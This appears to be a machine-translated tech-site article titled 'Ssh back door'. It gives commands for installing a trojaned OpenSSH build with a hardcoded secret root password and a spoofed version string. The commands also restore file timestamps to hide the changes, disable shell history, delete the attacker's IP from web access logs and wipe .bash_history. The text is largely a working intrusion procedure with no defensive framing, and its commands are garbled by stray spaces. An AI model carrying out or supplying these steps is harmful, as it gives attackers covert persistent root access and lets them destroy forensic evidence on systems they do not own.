Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Ssh back door

Shulou Source: shulou.com Published: 2022-06-01 04:33:14 10月01日 Update

Linux SSH back door

You can let the root account have two passwords, which does not affect the administrator's normal login.

Change the password in includes.h, and then compile and install.

Unzip sshd.zip cd openssh vi version.h # define SSH_VERSION "OpenSSH_4.2"-> you've to edit OpenSSH_4.2 vi includes.h # define _ SECRET_PASSWD "123456"-edit as u wish cp / etc/ssh/sshd_config / etc/ssh/sshd_config.pub cp / etc/ssh/ssh_config / etc/ssh/ssh_config.pub touch-r / etc/ssh/ Sshd_config / etc/ssh/sshd_config.pub touch-r / etc/ssh/ssh_config / etc/ssh/ssh_config.pub cp / usr/bin/ssh / usr/bin/ssh-keypub touch-r / usr/bin/ssh / usr/bin/ssh-keypub. / configure-- prefix=/usr-- sysconfdir=/etc/ssh make & & make install cp ssh_config sshd_config / etc/ssh/ cd.. rm-rf . / ssh* rm-rf openssh diff / etc/ssh/sshd_config / etc/ssh/sshd_config.pub vi sshd_config diff / etc/ssh/ssh_config / etc/ssh/ssh_config.pub vi ssh_config touch-r / etc/ssh/sshd_config.pub / etc/ssh/sshd_config touch-r / etc/ssh/ssh_config.pub / etc/ssh/ssh_config touch-r / usr/bin/ Ssh-keypub / usr/bin/ssh* / etc/init.d/sshd restartexport HISTFILE=/dev/null export HISTSIZE=0 cd / etc/httpd/logs/ sed-I'/ ip/d' access_log login backdoor: ssh- l root ip password: 123456echo > / root/.bash_history

Tags: Password backdoor two administrator account influence login management compilation Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno MySQL OPPO Reno Shulou Information MariaDB macOS